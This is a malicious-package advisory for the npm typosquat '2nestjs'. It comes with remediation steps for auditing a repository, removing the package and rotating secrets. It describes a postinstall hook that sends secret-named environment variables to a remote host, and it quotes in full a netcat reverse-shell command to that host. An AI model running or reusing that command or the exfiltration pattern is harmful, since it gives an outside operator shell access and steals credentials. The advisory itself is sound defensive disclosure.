MAL-2026-15911 Malicious code in 2nestjs (npm)
Malicious package
Published
MAL-2026-15911 is a malicious package: 2nestjs (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-15911/ (Markdown: https://insights.sbomify.com/MAL-2026-15911/index.md)
- Package
- 2nestjs
- Registry
- npm
What is MAL-2026-15911?
MAL-2026-15911 is a malicious package in 2nestjs, published on 4 Sep 2026.
Official description
The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes
nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded – targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.What should I do about MAL-2026-15911?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.